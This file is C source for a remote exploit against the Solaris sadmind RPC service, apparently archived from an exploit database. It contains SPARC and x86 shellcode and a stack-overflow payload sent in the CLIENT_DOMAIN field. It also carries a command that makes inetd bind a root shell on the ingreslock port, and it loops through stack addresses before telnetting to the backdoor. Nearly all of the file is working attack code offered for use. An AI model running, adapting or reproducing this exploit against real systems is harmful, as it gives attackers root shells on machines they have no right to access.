525 lines
No EOL
13 KiB
C
525 lines
No EOL
13 KiB
C
/*************************************************************************\
|
|
** **
|
|
** Super Solaris sadmin Exploit by optyx <optyx@uberhax0r.net> **
|
|
** based on sadminsparc. and sadminx86.c by Cheez Whiz **
|
|
** **
|
|
\*************************************************************************/
|
|
|
|
#include <stdio.h>
|
|
#include <stdlib.h>
|
|
#include <unistd.h>
|
|
#include <string.h>
|
|
#include <rpc/rpc.h>
|
|
|
|
char shellsparc[] =
|
|
"\x20\xbf\xff\xff\x20\xbf\xff\xff\x7f\xff\xff\xff"
|
|
"\x90\x03\xe0\x5c\x92\x22\x20\x10\x94\x1b\xc0\x0f"
|
|
"\xec\x02\x3f\xf0\xac\x22\x80\x16\xae\x02\x60\x10"
|
|
"\xee\x22\x3f\xf0\xae\x05\xe0\x08\xc0\x2d\xff\xff"
|
|
"\xee\x22\x3f\xf4\xae\x05\xe0\x03\xc0\x2d\xff\xff"
|
|
"\xee\x22\x3f\xf8\xae\x05\xc0\x16\xc0\x2d\xff\xff"
|
|
"\xc0\x22\x3f\xfc\x82\x10\x20\x3b\x91\xd0\x20\x08"
|
|
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
|
|
"\xff\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\xff"
|
|
"\x2d\x63\xff";
|
|
|
|
char shellx86[] =
|
|
"\xeb\x45\x9a\xff\xff\xff\xff\x07\xff\xc3\x5e\x31"
|
|
"\xc0\x89\x46\xb7\x88\x46\xbc\x31\xc0\x50\x56\x8b"
|
|
"\x1e\xf7\xdb\x89\xf7\x83\xc7\x10\x57\x89\x3e\x83"
|
|
"\xc7\x08\x88\x47\xff\x89\x7e\x04\x83\xc7\x03\x88"
|
|
"\x47\xff\x89\x7e\x08\x01\xdf\x88\x47\xff\x89\x46"
|
|
"\x0c\xb0\x3b\xe8\xbe\xff\xff\xff\x83\xc4\x0c\xe8"
|
|
"\xbe\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
|
|
"\xff\xff\xff\xff\xff\xff\xff\xff\x2f\x62\x69\x6e"
|
|
"\x2f\x73\x68\xff\x2d\x63\xff";
|
|
|
|
|
|
int buflen[] = { 1076, 1056 };
|
|
int addrlen[] = { 560, 8 };
|
|
int lens[] = { 84, 76 };
|
|
int offset[] = { 688, 572 };
|
|
int alignment[] = { 4, 0 };
|
|
long int nops[] = { 0x801bc00f, 0x90 };
|
|
int junks[] = { 512, 536 };
|
|
char command[] = "echo 'ingreslock stream tcp nowait root /bin/sh sh -i' "
|
|
"> /tmp/.x; /usr/sbin/inetd -s /tmp/.x; rm -f /tmp/.x;";
|
|
|
|
unsigned long int sp[] = { 0xefff9580, 0xefff9418, 0x080418ec, 0x08041798 };
|
|
|
|
#define FRAMELEN1 608
|
|
#define FRAMELEN2 4200
|
|
|
|
#define NETMGT_PROG 100232
|
|
#define NETMGT_VERS 10
|
|
#define NETMGT_PROC_PING 0
|
|
#define NETMGT_PROC_SERVICE 1
|
|
|
|
#define NETMGT_UDP_PING_TIMEOUT 30
|
|
#define NETMGT_UDP_PING_RETRY_TIMEOUT 5
|
|
#define NETMGT_UDP_SERVICE_TIMEOUT 1
|
|
#define NETMGT_UDP_SERVICE_RETRY_TIMEOUT 2
|
|
|
|
#define NETMGT_HEADER_TYPE 6
|
|
#define NETMGT_ARG_INT 3
|
|
#define NETMGT_ARG_STRING 9
|
|
#define NETMGT_ENDOFARGS "netmgt_endofargs"
|
|
|
|
#define FW_VERSION "VERSION"
|
|
#define CLIENT_DOMAIN "CLIENT_DOMAIN"
|
|
#define FENCE "FENCE"
|
|
|
|
struct nm_send_header {
|
|
struct timeval timeval1;
|
|
struct timeval timeval2;
|
|
struct timeval timeval3;
|
|
unsigned int uint1;
|
|
unsigned int uint2;
|
|
unsigned int uint3;
|
|
unsigned int uint4;
|
|
unsigned int uint5;
|
|
struct in_addr inaddr1;
|
|
struct in_addr inaddr2;
|
|
unsigned long ulong1;
|
|
unsigned long ulong2;
|
|
struct in_addr inaddr3;
|
|
unsigned long ulong3;
|
|
unsigned long ulong4;
|
|
unsigned long ulong5;
|
|
struct timeval timeval4;
|
|
unsigned int uint6;
|
|
struct timeval timeval5;
|
|
char *string1;
|
|
char *string2;
|
|
char *string3;
|
|
unsigned int uint7;
|
|
};
|
|
|
|
struct nm_send_arg_int {
|
|
char *string1;
|
|
unsigned int uint1;
|
|
unsigned int uint2;
|
|
int int1;
|
|
unsigned int uint3;
|
|
unsigned int uint4;
|
|
};
|
|
|
|
struct nm_send_arg_string {
|
|
char *string1;
|
|
unsigned int uint1;
|
|
unsigned int uint2;
|
|
char *string2;
|
|
unsigned int uint3;
|
|
unsigned int uint4;
|
|
};
|
|
|
|
struct nm_send_footer {
|
|
char *string1;
|
|
};
|
|
|
|
struct nm_send {
|
|
struct nm_send_header header;
|
|
struct nm_send_arg_int version;
|
|
struct nm_send_arg_string string;
|
|
struct nm_send_arg_int fence;
|
|
struct nm_send_footer footer;
|
|
};
|
|
|
|
struct nm_reply {
|
|
unsigned int uint1;
|
|
unsigned int uint2;
|
|
char *string1;
|
|
};
|
|
|
|
bool_t xdr_nm_send_header(XDR *xdrs, struct nm_send_header *objp)
|
|
{
|
|
char *addr;
|
|
size_t size = sizeof(struct in_addr);
|
|
|
|
if(!xdr_long(xdrs, &objp->timeval1.tv_sec))
|
|
return (FALSE);
|
|
if(!xdr_long(xdrs, &objp->timeval1.tv_usec))
|
|
return (FALSE);
|
|
if(!xdr_long(xdrs, &objp->timeval2.tv_sec))
|
|
return (FALSE);
|
|
if(!xdr_long(xdrs, &objp->timeval2.tv_usec))
|
|
return (FALSE);
|
|
if(!xdr_long(xdrs, &objp->timeval3.tv_sec))
|
|
return (FALSE);
|
|
if(!xdr_long(xdrs, &objp->timeval3.tv_usec))
|
|
return (FALSE);
|
|
if(!xdr_u_int(xdrs, &objp->uint1))
|
|
return (FALSE);
|
|
if(!xdr_u_int(xdrs, &objp->uint2))
|
|
return (FALSE);
|
|
if(!xdr_u_int(xdrs, &objp->uint3))
|
|
return (FALSE);
|
|
if(!xdr_u_int(xdrs, &objp->uint4))
|
|
return (FALSE);
|
|
if(!xdr_u_int(xdrs, &objp->uint5))
|
|
return (FALSE);
|
|
addr = (char *) &objp->inaddr1.s_addr;
|
|
if(!xdr_bytes(xdrs, &addr, &size, size))
|
|
return (FALSE);
|
|
if(!xdr_u_long(xdrs, &objp->ulong1))
|
|
return (FALSE);
|
|
if(!xdr_u_long(xdrs, &objp->ulong2))
|
|
return (FALSE);
|
|
if(!xdr_u_long(xdrs, &objp->ulong3))
|
|
return (FALSE);
|
|
if(!xdr_u_long(xdrs, &objp->ulong4))
|
|
return (FALSE);
|
|
if(!xdr_u_long(xdrs, &objp->ulong5))
|
|
return (FALSE);
|
|
if(!xdr_long(xdrs, &objp->timeval4.tv_sec))
|
|
return (FALSE);
|
|
if(!xdr_long(xdrs, &objp->timeval4.tv_usec))
|
|
return (FALSE);
|
|
if(!xdr_u_int(xdrs, &objp->uint6))
|
|
return (FALSE);
|
|
if(!xdr_long(xdrs, &objp->timeval5.tv_sec))
|
|
return (FALSE);
|
|
if(!xdr_long(xdrs, &objp->timeval5.tv_usec))
|
|
return (FALSE);
|
|
if(!xdr_wrapstring(xdrs, &objp->string1))
|
|
return (FALSE);
|
|
if(!xdr_wrapstring(xdrs, &objp->string2))
|
|
return (FALSE);
|
|
if(!xdr_wrapstring(xdrs, &objp->string3))
|
|
return (FALSE);
|
|
if(!xdr_u_int(xdrs, &objp->uint7))
|
|
return (FALSE);
|
|
return (TRUE);
|
|
}
|
|
|
|
bool_t xdr_nm_send_arg_int(XDR *xdrs, struct nm_send_arg_int *objp)
|
|
{
|
|
if(!xdr_wrapstring(xdrs, &objp->string1))
|
|
return (FALSE);
|
|
if(!xdr_u_int(xdrs, &objp->uint1))
|
|
return (FALSE);
|
|
if(!xdr_u_int(xdrs, &objp->uint2))
|
|
return (FALSE);
|
|
if(!xdr_int(xdrs, &objp->int1))
|
|
return (FALSE);
|
|
if(!xdr_u_int(xdrs, &objp->uint3))
|
|
return (FALSE);
|
|
if(!xdr_u_int(xdrs, &objp->uint4))
|
|
return (FALSE);
|
|
return (TRUE);
|
|
}
|
|
|
|
bool_t xdr_nm_send_arg_string(XDR *xdrs, struct nm_send_arg_string *objp)
|
|
{
|
|
if(!xdr_wrapstring(xdrs, &objp->string1))
|
|
return (FALSE);
|
|
if(!xdr_u_int(xdrs, &objp->uint1))
|
|
return (FALSE);
|
|
if(!xdr_u_int(xdrs, &objp->uint2))
|
|
return (FALSE);
|
|
if(!xdr_wrapstring(xdrs, &objp->string2))
|
|
return (FALSE);
|
|
if(!xdr_u_int(xdrs, &objp->uint3))
|
|
return (FALSE);
|
|
if(!xdr_u_int(xdrs, &objp->uint4))
|
|
return (FALSE);
|
|
return (TRUE);
|
|
}
|
|
|
|
bool_t xdr_nm_send_footer(XDR *xdrs, struct nm_send_footer *objp)
|
|
{
|
|
if(!xdr_wrapstring(xdrs, &objp->string1))
|
|
return (FALSE);
|
|
return (TRUE);
|
|
}
|
|
|
|
bool_t xdr_nm_send(XDR *xdrs, struct nm_send *objp)
|
|
{
|
|
if(!xdr_nm_send_header(xdrs, &objp->header))
|
|
return (FALSE);
|
|
if(!xdr_nm_send_arg_int(xdrs, &objp->version))
|
|
return (FALSE);
|
|
if(!xdr_nm_send_arg_string(xdrs, &objp->string))
|
|
return (FALSE);
|
|
if(!xdr_nm_send_arg_int(xdrs, &objp->fence))
|
|
return (FALSE);
|
|
if(!xdr_nm_send_footer(xdrs, &objp->footer))
|
|
return (FALSE);
|
|
return (TRUE);
|
|
}
|
|
|
|
bool_t xdr_nm_reply(XDR *xdrs, struct nm_reply *objp)
|
|
{
|
|
if(!xdr_u_int(xdrs, &objp->uint1))
|
|
return (FALSE);
|
|
if(!xdr_u_int(xdrs, &objp->uint2))
|
|
return (FALSE);
|
|
if(!xdr_wrapstring(xdrs, &objp->string1))
|
|
return (FALSE);
|
|
return (TRUE);
|
|
}
|
|
|
|
void usage(char *prog)
|
|
{
|
|
fprintf(stderr, "usage: %s -t target -a arch [-s size]", prog);
|
|
fprintf(stderr, " [-i increment] [-p]\n");
|
|
fprintf(stderr, "\tarchitectures:\n");
|
|
fprintf(stderr, "\t0 - Solaris SPARC 2.6\n");
|
|
fprintf(stderr, "\t1 - Solaris SPARC 2.7 (7.0)\n");
|
|
fprintf(stderr, "\t2 - Solaris x86 2.6\n");
|
|
fprintf(stderr, "\t3 - Solaris x86 2.7 (7.0)\n\n");
|
|
|
|
exit(-1);
|
|
}
|
|
|
|
int exp(char *host, int arch, unsigned long int sp, int pinging)
|
|
{
|
|
CLIENT *cl;
|
|
struct nm_send send;
|
|
struct nm_reply reply;
|
|
struct timeval tm;
|
|
enum clnt_stat stat;
|
|
int c, i, len, slen, clen, junk, a;
|
|
char *cp, *buf;
|
|
unsigned long int addr, fp;
|
|
|
|
a = (int) arch / 2;
|
|
buf = (char *) malloc(buflen[a] + 1);
|
|
|
|
if(a)
|
|
{
|
|
/* Solaris x86 */
|
|
memset(buf, nops[a], buflen[a]);
|
|
junk = junks[arch - 2];
|
|
junk &= 0xfffffffc;
|
|
|
|
for (i = 0, cp = buf + alignment[a]; i < junk / 4; i++)
|
|
{
|
|
*cp++ = (sp >> 0) & 0xff;
|
|
*cp++ = (sp >> 8) & 0xff;
|
|
*cp++ = (sp >> 16) & 0xff;
|
|
*cp++ = (sp >> 24) & 0xff;
|
|
}
|
|
|
|
addr = sp + offset[a];
|
|
|
|
for (i = 0; i < addrlen[a] / 4; i++)
|
|
{
|
|
*cp++ = (addr >> 0) & 0xff;
|
|
*cp++ = (addr >> 8) & 0xff;
|
|
*cp++ = (addr >> 16) & 0xff;
|
|
*cp++ = (addr >> 24) & 0xff;
|
|
}
|
|
|
|
slen = strlen(shellx86);
|
|
clen = strlen(command);
|
|
len = clen;
|
|
len++;
|
|
len = -len;
|
|
shellx86[lens[a]+0] = (len >> 0) & 0xff;
|
|
shellx86[lens[a]+1] = (len >> 8) & 0xff;
|
|
shellx86[lens[a]+2] = (len >> 16) & 0xff;
|
|
shellx86[lens[a]+3] = (len >> 24) & 0xff;
|
|
cp = buf + buflen[a] - 1 - clen - slen;
|
|
memcpy(cp, shellx86, slen);
|
|
cp += slen;
|
|
memcpy(cp, command, clen);
|
|
cp += clen;
|
|
*cp = '\xff';
|
|
}
|
|
else
|
|
{
|
|
/* Solaris SPARC */
|
|
memset(buf, '\xff', buflen[a]);
|
|
fp = sp + FRAMELEN1 + FRAMELEN2;
|
|
fp &= 0xfffffff8;
|
|
addr = sp + offset[a];
|
|
addr &= 0xfffffffc;
|
|
|
|
for(i = 0, cp = buf + alignment[a]; i < addrlen[a] / 8; i++)
|
|
{
|
|
*cp++ = (fp >> 24) & 0xff;
|
|
*cp++ = (fp >> 16) & 0xff;
|
|
*cp++ = (fp >> 8) & 0xff;
|
|
*cp++ = (fp >> 0) & 0xff;
|
|
*cp++ = (addr >> 24) & 0xff;
|
|
*cp++ = (addr >> 16) & 0xff;
|
|
*cp++ = (addr >> 8) & 0xff;
|
|
*cp++ = (addr >> 0) & 0xff;
|
|
}
|
|
|
|
slen = strlen(shellsparc);
|
|
clen = strlen(command);
|
|
len = buflen[a] - 1 - clen - slen - addrlen[a] - alignment[a];
|
|
len &= 0xfffffffc;
|
|
for(i = 0; i < lens[a] / 4; i++)
|
|
{
|
|
*cp++ = (nops[a] >> 24) & 0xff;
|
|
*cp++ = (nops[a] >> 16) & 0xff;
|
|
*cp++ = (nops[a] >> 8) & 0xff;
|
|
*cp++ = (nops[a] >> 0) & 0xff;
|
|
}
|
|
len = clen;
|
|
len++;
|
|
len = -len;
|
|
shellsparc[lens[a]+0] = (len >> 24) & 0xff;
|
|
shellsparc[lens[a]+1] = (len >> 16) & 0xff;
|
|
shellsparc[lens[a]+2] = (len >> 8) & 0xff;
|
|
shellsparc[lens[a]+3] = (len >> 0) & 0xff;
|
|
memcpy(cp, shellsparc, slen);
|
|
cp += slen;
|
|
memcpy(cp, command, clen);
|
|
}
|
|
|
|
buf[buflen[a]] = '\0';
|
|
memset(&send, 0, sizeof(struct nm_send));
|
|
send.header.uint2 = NETMGT_HEADER_TYPE;
|
|
send.header.string1 = "";
|
|
send.header.string2 = "";
|
|
send.header.string3 = "";
|
|
send.header.uint7 =
|
|
strlen(FW_VERSION) + 1 +
|
|
(4 * sizeof(unsigned int)) + sizeof(int) +
|
|
strlen(CLIENT_DOMAIN) + 1 +
|
|
(4 * sizeof(unsigned int)) + strlen(buf) + 1 +
|
|
strlen(FENCE) + 1 +
|
|
(4 * sizeof(unsigned int)) + sizeof(int) +
|
|
strlen(NETMGT_ENDOFARGS) + 1;
|
|
send.version.string1 = FW_VERSION;
|
|
send.version.uint1 = NETMGT_ARG_INT;
|
|
send.version.uint2 = sizeof(int);
|
|
send.version.int1 = 1;
|
|
send.string.string1 = CLIENT_DOMAIN;
|
|
send.string.uint1 = NETMGT_ARG_STRING;
|
|
send.string.uint2 = strlen(buf);
|
|
send.string.string2 = buf;
|
|
send.fence.string1 = FENCE;
|
|
send.fence.uint1 = NETMGT_ARG_INT;
|
|
send.fence.uint2 = sizeof(int);
|
|
send.fence.int1 = 666;
|
|
send.footer.string1 = NETMGT_ENDOFARGS;
|
|
cl = clnt_create(host, NETMGT_PROG, NETMGT_VERS, "udp");
|
|
|
|
if (cl == NULL)
|
|
{
|
|
clnt_pcreateerror("clnt_create");
|
|
return 0;
|
|
}
|
|
|
|
cl->cl_auth = authunix_create("localhost", 0, 0, 0, NULL);
|
|
|
|
if (!pinging)
|
|
{
|
|
tm.tv_sec = NETMGT_UDP_SERVICE_TIMEOUT;
|
|
tm.tv_usec = 0;
|
|
|
|
if (!clnt_control(cl, CLSET_TIMEOUT, (char *) &tm))
|
|
{
|
|
fprintf(stderr, "unable to set timeout\n");
|
|
exit(1);
|
|
}
|
|
|
|
tm.tv_sec = NETMGT_UDP_SERVICE_RETRY_TIMEOUT;
|
|
tm.tv_usec = 0;
|
|
|
|
if (!clnt_control(cl, CLSET_RETRY_TIMEOUT, (char *) &tm))
|
|
{
|
|
fprintf(stderr, "unable to set timeout\n");
|
|
exit(1);
|
|
}
|
|
|
|
stat = clnt_call(cl, NETMGT_PROC_SERVICE,
|
|
xdr_nm_send, (caddr_t) &send,
|
|
xdr_nm_reply, (caddr_t) &reply, tm);
|
|
|
|
if (stat != RPC_SUCCESS)
|
|
{
|
|
clnt_perror(cl, "clnt_call");
|
|
fprintf(stdout, "now check if exploit worked;\n");
|
|
return 0;
|
|
}
|
|
|
|
fprintf(stderr, "exploit failed; "
|
|
"RPC succeeded and returned { %u, %u, \"%s\" }\n",
|
|
reply.uint1, reply.uint2, reply.string1);
|
|
clnt_destroy(cl);
|
|
exit(1);
|
|
}
|
|
else
|
|
{
|
|
|
|
tm.tv_sec = NETMGT_UDP_PING_TIMEOUT;
|
|
tm.tv_usec = 0;
|
|
|
|
if (!clnt_control(cl, CLSET_TIMEOUT, (char *) &tm))
|
|
{
|
|
fprintf(stderr, "unable to set timeout\n");
|
|
exit(1);
|
|
}
|
|
|
|
tm.tv_sec = NETMGT_UDP_PING_RETRY_TIMEOUT;
|
|
tm.tv_usec = 0;
|
|
|
|
if (!clnt_control(cl, CLSET_RETRY_TIMEOUT, (char *) &tm))
|
|
{
|
|
fprintf(stderr, "unable to set timeout\n");
|
|
exit(1);
|
|
}
|
|
|
|
stat = clnt_call(cl, NETMGT_PROC_PING,
|
|
xdr_void, NULL,
|
|
xdr_void, NULL, tm);
|
|
|
|
if (stat != RPC_SUCCESS)
|
|
{
|
|
clnt_perror(cl, "clnt_call");
|
|
exit(1);
|
|
}
|
|
|
|
clnt_destroy(cl);
|
|
return 0;
|
|
}
|
|
}
|
|
|
|
int main(int argc, char *argv[])
|
|
{
|
|
int i, arch;
|
|
char *host = "";
|
|
int pinging = 0, inc = 4, size = 2048;
|
|
unsigned long int addr;
|
|
|
|
for(i=0;i<argc;i++)
|
|
{
|
|
if(!strcmp(argv[i], "-t"))
|
|
host = argv[i+1];
|
|
if(!strcmp(argv[i], "-a"))
|
|
arch = atoi(argv[i+1]);
|
|
if(!strcmp(argv[i], "-i"))
|
|
inc = atoi(argv[i+1]);
|
|
if(!strcmp(argv[i], "-s"))
|
|
size = atoi(argv[i+1]);
|
|
if(!strcmp(argv[i], "-p"))
|
|
pinging = 1;
|
|
}
|
|
|
|
if(arch > 3 || arch < 0)
|
|
usage(argv[0]);
|
|
if(size < 0)
|
|
usage(argv[0]);
|
|
if(inc < 0)
|
|
usage(argv[0]);
|
|
|
|
for(i = 0; i < size; i+=inc)
|
|
{
|
|
addr = sp[arch] + i;
|
|
exp(host, arch, addr, pinging);
|
|
addr = sp[arch] - i;
|
|
exp(host, arch, addr, pinging);
|
|
}
|
|
|
|
execl("telnet", host, "ingreslock");
|
|
return 0;
|
|
}
|
|
|
|
|
|
// milw0rm.com [2000-12-01]
|